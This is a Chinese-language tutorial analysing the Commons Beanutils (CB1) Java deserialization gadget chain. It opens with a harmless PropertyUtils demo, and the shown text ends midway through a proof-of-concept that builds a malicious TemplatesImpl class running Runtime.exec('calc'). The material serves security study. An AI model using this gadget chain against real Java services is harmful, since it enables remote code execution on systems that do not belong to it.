Apache Commons Beanutils
首先看一下 Commons Beanutils包,Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean可以简单的理解为一个Java类对象。
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,看面的demo:
demo
package org.example.cb1;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean {
private String name = "cb";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
//在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。
System.out.println("cb");
}
}
运行后会打印输出两个cb字符串。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
CB1利用链分析
poc
package org.example.cb1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Demo1 {
// 修改值的方法,简化代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "